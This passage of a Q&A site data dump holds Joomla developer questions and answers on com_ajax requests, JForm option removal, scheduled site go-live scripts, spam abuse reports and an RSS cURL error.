OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-12-23T09:16:40.377" LastActivityDate="2019-12-23T09:16:40.377" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26428" PostTypeId="1" AcceptedAnswerId="26465" CreationDate="2019-11-19T20:47:39.083" Score="1" ViewCount="102" Body="&lt;p&gt;UPDATE 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Made 2 small changes to the code below (&quot;echo&quot; instead of &quot;return&quot; and added &quot;exit(); to the bottom of the script&quot;) and now the code works as expected. This was using a jQuery.get. I will now test using cURL but I expect things will work the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you to those who responded. It got me headed in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been away from this for a few days but I'm back at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a little component and set up a small test. The code for the component is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;    use Joomla\CMS\Log\Log;&#xA;    defined('_JEXEC') or die;&#xA;    JLog::addLogger(&#xA;        array('text_file' =&amp;gt; 'reverse_log.php'), JLog::INFO, array('reverse'));&#xA;    JLog::add('You have reached com_reverse', JLog::INFO, 'reverse');&#xA;    $app = JFactory::getApplication();&#xA;    $in = $app-&amp;gt;input;&#xA;    $text_str = &quot;&quot;;&#xA;    $text_str =  $in-&amp;gt;getString('text_str', 'gnirts oN');&#xA;    JLog::add('Text string is: ' . $text_str, JLog::INFO, 'reverse');&#xA;    echo &quot;Remote: &quot; . strrev($text_str);&#xA;    exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I am retrieving a string, reversing it and returning it. In addition, I am logging a couple of messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This partially works. I get to my component and I log the messages. However, instead of the reversed string, I get the web page returned (the HTML of the home page of the Joomla site). Is there some way of suppressing this and getting the reversed string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What seems a simple thing is proving quite puzzling to me and I need a few hints. The scenario is site A will from time to time send some data to site J (a Joomla environment) to process. Site J has no inclination that site A will do this. Site J does not initiate the exchange, site A does. This is strictly server to server. There is no human interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the documentation and I get the impression this can be done with com_ajax with a cURL call from site A. I just can't understand how, what the relationship is between helper.php and modulename.php and what does Javascript have to do with this (there is no UI)? What I really need is an explanation of the flow. Can someone enlighten me, please.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="130" LastEditDate="2019-12-01T14:15:36.883" LastActivityDate="2019-12-01T14:18:13.477" Title="Push data to a Joomla environment via com_ajax" Tags="|curl|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="26430" PostTypeId="1" CreationDate="2019-11-20T16:12:44.507" Score="0" ViewCount="141" Body="&lt;p&gt;Particles are very flexible and user-friendly, but they can only get Joomla's article as content provider, as &lt;a href=&quot;http://docs.gantry.org/gantry5/advanced/content-in-particles&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/advanced/content-in-particles&lt;/a&gt; points out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{% set options = {published: true, id: [14, 3]} %}&#xA;{% set finder = joomla.finder('category', options) %}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But very often people are using other components as main content organizer, such as K2 or Easyblog, especially when Easyblog allow users to directly create/edit articles from MS Word. It is not hard for me to retrieve Easyblog's posts in PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Include the engine&#xA;include_once(JPATH_ADMINISTRATOR . '/components/com_easyblog/includes/easyblog.php');&#xA;&#xA;// Only fetch 10 posts&#xA;$limit = 10;&#xA;&#xA;// Category id's (one or more)&#xA;$options = array(1);&#xA;&#xA;$model = EB::model('Category');&#xA;$posts = $model-&amp;gt;getPosts($options, $limit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But gantry particles are using twig, which I am not very familiar with. So the question is, how do I integrate what I retireve from Easyblog via PHP into Gantry's twig environment?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2024-03-29T01:04:40.573" Title="Gantry Framework: In particle, how to use Easyblog content provider?" Tags="|gantry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26431" PostTypeId="2" ParentId="26430" CreationDate="2019-11-20T16:33:04.723" Score="0" Body="&lt;p&gt;The documentation for pulling content in particles is at: &lt;a href=&quot;http://docs.gantry.org/gantry5/advanced/content-in-particles&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/advanced/content-in-particles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer is that it is not easy and you might want to hire a developer to code that.  I would suggest asking if anyone would be willing to do it as a freelance project through the Gantry5 Gitter board. &lt;a href=&quot;https://gitter.im/gantry/gantry5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitter.im/gantry/gantry5&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw you already commented on the GitHub issue about this: &lt;a href=&quot;https://github.com/gantry/gantry5/issues/1480&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gantry/gantry5/issues/1480&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-11-20T16:33:04.723" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26432" PostTypeId="1" AcceptedAnswerId="26482" CreationDate="2019-11-20T16:57:09.840" Score="0" ViewCount="181" Body="&lt;p&gt;I am writing to seek help displaying custom results in a SEF URL on Joomla CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example url with a customized search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/search.html?search=IT&amp;amp;exf_5=1&amp;amp;exf_4=-1&amp;amp;option=com_jomclassifieds&amp;amp;view=search&amp;amp;Itemid=147&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to display this link as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/today-walkins-in-hyderabad.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;https://extensions.joomla.org/extension/jom-classifieds/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jom-classifieds/&lt;/a&gt; as the extension.&lt;/p&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="12352" LastEditDate="2020-01-03T10:36:51.157" LastActivityDate="2020-01-03T10:36:51.157" Title="Custom URL for Component Search Results" Tags="|joomla-3.x|sef|cms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26433" PostTypeId="1" AcceptedAnswerId="26453" CreationDate="2019-11-20T23:16:57.703" Score="1" ViewCount="264" Body="&lt;p&gt;I have two pages (articles) on my Joomla site that are publicly accessible but I'm unable to find them in the Joomla admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They were discovered by searching the website using the built-in search feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example URL is: &lt;code&gt;example.com/14-get-involved/page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted to search for the pages by the URL but nothing appears. The pages also have a couple of modules that I use only on the homepage. I look at the module and it's only assigned to the home page but it shows up on both of these pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find these rogue pages so I can disable them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Joomla v3.9.10.&lt;/p&gt;&#xA;" OwnerUserId="3425" LastActivityDate="2019-11-27T08:28:45.390" Title="Unable to Find a Page/Article in Joomla Admin" Tags="|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26434" PostTypeId="1" CreationDate="2019-11-21T10:10:05.853" Score="3" ViewCount="71" Body="&lt;p&gt;Joomla 3.9.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a website which is currently offline. I need make make it available and online at a certain date / time. I may not be available to do this manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to schedule this action somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it would be nice if I could easily re-use this action. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer not to override any core files or code.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-11-21T14:12:57.450" LastActivityDate="2019-11-21T14:12:57.450" Title="Site Online Schedule" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26435" PostTypeId="2" ParentId="26434" CreationDate="2019-11-21T10:27:48.047" Score="0" Body="&lt;p&gt;I am assuming you are referring to the $offline field in configuration.php is set to something other than 0 to make your website offline. If your are disabling at a server or .htaccess level then this answer won't be much help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fairly simple plugin that stores the date/time you want the site to go online. The plugin will check each time someone visits the site and the first person to visit past the desired date/time will update $offline to '0' and your site is now online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a bit more coolness you could have the plugin disable itself once it has been triggered to avoid having it trigger on every page of visitors.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-11-21T10:27:48.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26436" PostTypeId="1" CreationDate="2019-11-21T10:29:16.017" Score="1" ViewCount="103" Body="&lt;p&gt;Joomla 3.9.13&lt;/p&gt;&#xA;&lt;p&gt;The past while i've been receiving a lot of emails with the subject line similar to;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Subject: Warning: message 1iTQ2k-00083X-8c delayed 24 hours&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The email body contains the following, I have removed some of the details.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This message was created automatically by mail delivery software. A&#xA;message that you sent has not yet been delivered to one or more of its&#xA;recipients after more than 24 hours on the queue on smtp.hosts.co.uk.&lt;/p&gt;&#xA;&lt;p&gt;The message identifier is: [removed]&lt;/p&gt;&#xA;&lt;p&gt;The date of the message is: Sat, 09 Nov 2019 13:40:06 +0100&lt;/p&gt;&#xA;&lt;p&gt;The subject of the message is: [removed]&lt;/p&gt;&#xA;&lt;p&gt;The address to which the message has not yet been delivered is:&#xA;[removed]&lt;/p&gt;&#xA;&lt;p&gt;No action is required on your part. Delivery attempts will continue&#xA;for some time, and this warning may be repeated at intervals if the&#xA;message remains undelivered. Eventually the mail delivery software&#xA;will give up, and when that happens, the message will be returned to&#xA;you.&lt;/p&gt;&#xA;&lt;p&gt;Return-path: Received: from ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My web host has contacted me with an email along the lines of;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Dear Customer,&lt;/p&gt;&#xA;&lt;p&gt;We have recently received the following Abuse Reports related to your&#xA;domain name. Please note that we have no access to the original email&#xA;that was sent from your domain name, only the basic headers supplied&#xA;by the reporting ISPs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The email continues to outline various headers etc. and that they need me to take action or else they risk having their IP blocked and all users will be affected on their shared hosting.&lt;/p&gt;&#xA;&lt;p&gt;They have given me some actions, some relate to web hosting (change passwords, etc.), some to CMS installations (scan for viruses, enable recaptcha, etc.).&lt;/p&gt;&#xA;&lt;p&gt;Is there any way I can tell if these emails are &lt;strong&gt;coming from&lt;/strong&gt; my Joomla website?&lt;/p&gt;&#xA;&lt;p&gt;I do have a contact form on my website, it doesn't have reCaptcha (only the standard captcha box) so my next step is to update this.&lt;/p&gt;&#xA;&lt;p&gt;I know that bots can use my email address for spamming, but that could be unrelated to Joomla. Anyone that knows my email address could potentially replicate this.&lt;/p&gt;&#xA;&lt;p&gt;I'm planning to try &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru&lt;/a&gt; and see if there any vulnerabilities in my site, but apart from that I'm not sure what else to do?&lt;/p&gt;&#xA;&lt;p&gt;Should I ask my web host to check anything or should I check logs somewhere?&lt;/p&gt;&#xA;&lt;p&gt;Any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2024-03-30T13:08:00.997" Title="Spam Emails and Web Host Security" Tags="|joomla-3.x|security|emails|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26438" PostTypeId="2" ParentId="26434" CreationDate="2019-11-21T12:23:05.513" Score="2" Body="&lt;p&gt;You could create a cron job that runs daily and executes a PHP file. You should be able to set this up in your hosting control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command: &lt;code&gt;php /home/xxx/public_html/cli/sitelive.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then go to: &lt;a href=&quot;https://www.unixtimestamp.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.unixtimestamp.com/index.php&lt;/a&gt;, add the date you wish to go live and convert it to a UNIX timestamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sitelive.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const _JEXEC = 1;&#xA;&#xA;error_reporting(E_ALL | E_NOTICE);&#xA;ini_set('display_errors', 1);&#xA;&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;    require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Load the configuration&#xA;require_once JPATH_CONFIGURATION . '/configuration.php';&#xA;&#xA;class SiteLivecron extends JApplicationCli&#xA;{&#xA;    public function doExecute()&#xA;    {&#xA;        // Get date object&#xA;        $date = JFactory::getDate();&#xA;        $current = $date-&amp;gt;toUnix();&#xA;        $goLiveDate = YOUR_GENERATED_UNIX_TIMESTAMP; // Edit this line&#xA;&#xA;        if ($current &amp;gt; $goLiveDate)&#xA;        {&#xA;            $configFile = JPATH_BASE . '/configuration.php';&#xA;            $contents = file_get_contents($configFile);&#xA;&#xA;            // Replace the $offline variable&#xA;            $replace = str_replace(&quot;$offline = '1'&quot;, &quot;$offline = '0'&quot;, $contents);&#xA;&#xA;            // Save the file&#xA;            file_put_contents($configFile, $replace);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('SiteLivecron')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I'd suggest giving this a test before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-11-21T14:12:30.653" LastActivityDate="2019-11-21T14:12:30.653" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26439" PostTypeId="2" ParentId="26434" CreationDate="2019-11-21T12:38:39.057" Score="0" Body="&lt;p&gt;You can do that from the template side. &#xA;Add this code below in the top of the file  &lt;code&gt;../templates/your_default_template_name/offline.php&lt;/code&gt;, after the &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt; part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentTime = new JDate();&#xA;$siteLive = new JDate('2019-11-21 11:21:36'); // Change to your site live&#xA;if($currentTime &amp;gt;= $siteLive ) {&#xA;   $str = file_get_contents('configuration.php');&#xA;   $str = str_replace(&quot;offline = '1';&quot;, &quot;offline = '0';&quot;,$str);&#xA;   file_put_contents('configuration.php', $str);&#xA;   echo &quot;&amp;lt;script&amp;gt; location.href='index.php'; &amp;lt;/script&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note : You probably will need to change the permission of &lt;code&gt;configuration.php&lt;/code&gt; into writeable which is may open up a potential security hole. I'd suggest you to change back the permission into unwritable as soon as you can.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-11-21T12:38:39.057" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26440" PostTypeId="1" CreationDate="2019-11-21T14:56:29.290" Score="3" ViewCount="382" Body="&lt;p&gt;I'm working on a small component and depending on &lt;code&gt;$someoption&lt;/code&gt; I need to remove a certain option from the &lt;code&gt;JForm&lt;/code&gt;. So for example if &lt;code&gt;$someoption == 1&lt;/code&gt; then I need to remove this option &lt;code&gt;&amp;lt;option value=&quot;1&quot;&amp;gt;COM_MY_FIELD2&amp;lt;/option&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only know how to set the whole field to &lt;code&gt;hidden&lt;/code&gt; via &lt;code&gt;setFieldAttribute&lt;/code&gt;, but how to remove only one option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the XML Form part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field name=&quot;field1&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;COM_MY_LABEL1&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;COM_MY_FIELD1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;COM_MY_FIELD2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;COM_MY_FIELD3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here comes the preprocessForm Function from the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function preprocessForm(JForm $form, $data, $group = '')&#xA;{&#xA;    $app        = JFactory::getApplication();&#xA;&#xA;    ...&#xA;&#xA;    if ($app-&amp;gt;isClient('site')) {&#xA;        if ($someoption == 1) {&#xA;            // this sets the whole field to hidden&#xA;            $form-&amp;gt;setFieldAttribute('field1', 'type', 'hidden'); &#xA;        }&#xA;    }&#xA;    parent::preprocessForm($form, $data, $group);&#xA;}       &#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2020-10-10T16:32:12.280" LastActivityDate="2020-10-10T16:32:12.280" Title="Dynamically removing single JForm option" Tags="|joomla-3.x|jform|xml|model|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26441" PostTypeId="2" ParentId="26436" CreationDate="2019-11-21T23:51:49.423" Score="0" Body="&lt;p&gt;Check your &quot;Contacts&quot; component.  If you have a contact in there and you're not using it, spambots could be filling the contact form.  If you are using it, you can disable the form, or add captcha to that as well.  I've found this to be the culprit a few times.  &lt;/p&gt;&#xA;" OwnerUserId="13931" LastEditorUserId="12352" LastEditDate="2019-11-22T07:44:28.130" LastActivityDate="2019-11-22T07:44:28.130" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26442" PostTypeId="2" ParentId="26440" CreationDate="2019-11-22T09:09:57.663" Score="2" Body="&lt;p&gt;&lt;strong&gt;The small problem&lt;/strong&gt; with your question is that &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; is not a field attribute but an &lt;strong&gt;element in XML&lt;/strong&gt;, so you cannot set or remove that using methods for field attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove however these elements using PHP DOM extension's methods like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $myradioForm = new Form('MyRadioForm'); // this is just a Joomla Form object. You use your own Form in your code like $form for example.&#xA;&#xA;// if ($someoption == 1)&#xA;&#xA;$doc = new DOMDocument;&#xA;&#xA;// load your xml file from a path&#xA;$doc-&amp;gt;load($file); // example: $file = JPATH_ADMINISTRATOR . '/components/com_mycomponent/models/forms/myradio.xml'&#xA;&#xA;$myFormDoc = $doc-&amp;gt;documentElement;&#xA;&#xA;// we retrieve the element and remove it from the form - could be item(1) or item(2) too&#xA;$myFieldToRemove = $myFormDoc-&amp;gt;getElementsByTagName('option')-&amp;gt;item(0);&#xA;$parent = $myFieldToRemove-&amp;gt;parentNode; // we define the parent node&#xA;&#xA;$parent-&amp;gt;removeChild($myFieldToRemove); // removing the element&#xA;&#xA;$fieldsNew = $doc-&amp;gt;saveXML(); // $fieldsnew here is the form without the removed option&#xA;&#xA;$myradioForm-&amp;gt;load($fieldsNew); // you load the form again and it is now without the removed option&#xA;echo $myradioForm-&amp;gt;renderFieldset('radiogroup'); // change 'radiogroup' to whatever your fieldset name is&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sorry for the lot of comments in the code but this way I hope that you can understand it better. I hope you can follow and use the above (it is tried and works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @mick pointed out well, the above snippet cannot be applied to the case where there are many radio fields are in the Form, so you have to select the target field more precisely. Thus you have to use the &lt;code&gt;getElementsByTagName()&lt;/code&gt; method like below if you have more radio fields as it is usually the case in these forms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myFieldToRemove = $myFormDoc-&amp;gt;getElementsByTagName('field')-&amp;gt;item(0)-&amp;gt;firstChild-&amp;gt;nextSibling;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;item(0)&lt;/code&gt; is the radio field in the Form, but it could be any selection. &lt;code&gt;firstChild-&amp;gt;nextSibling&lt;/code&gt; is the first option element in the selected radio field and &lt;code&gt;lastChild-&amp;gt;previousSibling&lt;/code&gt; is the third option in the field, or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myRadioField = $myFormDoc-&amp;gt;getElementsByTagName('field')-&amp;gt;item(1);&#xA;$optionToDelete = $myRadioField-&amp;gt;childNodes-&amp;gt;item(3); // as the second option in the field.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can target any options you would like to... I do not consider this as the main part of this question since it is now more about learning how to use PHP DOM.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-11-24T07:17:12.740" LastActivityDate="2019-11-24T07:17:12.740" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26443" PostTypeId="2" ParentId="26440" CreationDate="2019-11-22T11:03:50.650" Score="2" Body="&lt;p&gt;So this is what I've done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function preprocessForm(JForm $form, $data, $group = '')&#xA;{&#xA;    $app        = JFactory::getApplication();&#xA;&#xA;    ...&#xA;&#xA;    if ($app-&amp;gt;isClient('site')) {&#xA;        // remove the field from the form. this is not realy needed, because if the third parameter on setField is true, the field gets replaced&#xA;        $form-&amp;gt;removeField('field1');&#xA;        // create a new XML field&#xA;        $element = new SimpleXMLElement('&amp;lt;field name=&quot;field1&quot;  default=&quot;0&quot; type=&quot;radio&quot; /&amp;gt;');&#xA;         // create only the options i need&#xA;        if ($someoption == 1) {&#xA;                $option = $element-&amp;gt;addChild('option', JText::_('COM_MY_FIELD2'));&#xA;                $option-&amp;gt;addAttribute('value', 2);&#xA;        }&#xA;        // add the new field back into the form (replacing the old one if it exists)&#xA;        $form-&amp;gt;setField($element, $group, true);&#xA;    }&#xA;    parent::preprocessForm($form, $data, $group);&#xA;}       &#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2019-11-22T11:03:50.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26444" PostTypeId="2" ParentId="26440" CreationDate="2019-11-22T12:19:58.150" Score="2" Body="&lt;p&gt;Another option could be to place the two versions of the field in separate .xml files in your /forms folder and then decide which one to load.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If ($option == 1)&#xA;{ &#xA;    $form-&amp;gt;loadFile('field_with_option');&#xA;}&#xA;else&#xA;(&#xA;    $form-&amp;gt;loadFile('field_without_option');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In ../mycomponent/models/forms/field_with_option.xml you have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;field1&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;COM_MY_LABEL1&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;COM_MY_FIELD1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;COM_MY_FIELD2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;COM_MY_FIELD3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in ../mycomponent/models/forms/field_without_option.xml you have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;field1&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;COM_MY_LABEL1&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;COM_MY_FIELD1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;COM_MY_FIELD3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Originally I was thinking along the lines of something like Zollie's answer this morning when I first read the question but based on Mike's solution this is much the same but just keeps the field definition out of the code and back in a .xml in /forms where it belongs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - 23/11&#xA;Having re-read @zollie's answer again, I wasn't looking at the DOM object but looking stepping through the Form object to remove the option in there. It would be similar code.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-11-22T21:15:25.300" LastActivityDate="2019-11-22T21:15:25.300" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26445" PostTypeId="1" AcceptedAnswerId="26448" CreationDate="2019-11-22T21:20:39.753" Score="1" ViewCount="568" Body="&lt;p&gt;I'm trying to load the following RSS feed in a Joomla! Feeds module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.joomla.org/events/view,rss.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.joomla.org/events/view,rss.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cURL error 22: The requested URL returned error: 403 Forbidden&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand because I can successfully visit the feed, so I don't expect to see a 403 error.  I also don't expect an RSS feed to be forbidden or else that defeats the point.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what else this error could mean?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12352" LastEditDate="2019-11-24T03:55:28.520" LastActivityDate="2019-11-24T03:55:28.520" Title="RSS Feed error: &quot;cURL error 22: The requested URL returned error: 403 Forbidden&quot;" Tags="|php|rss|curl|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26448" PostTypeId="2" ParentId="26445" CreationDate="2019-11-24T00:12:53.307" Score="1" Body="&lt;p&gt;This error was caused by the &lt;strong&gt;AutoTweet NG Light RSS&lt;/strong&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I could see the RSS feed in my browser I was reasonably sure the &lt;strong&gt;403 forbidden&lt;/strong&gt; error was a red herring.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this by trying Joomla! Core &lt;strong&gt;Mod_feed (feed display)&lt;/strong&gt;, this worked.  I can only assume some sort of server configuration error due to &lt;strong&gt;cURL&lt;/strong&gt; but I do not control the server so this is hard for me to test.  &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-11-24T00:12:53.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
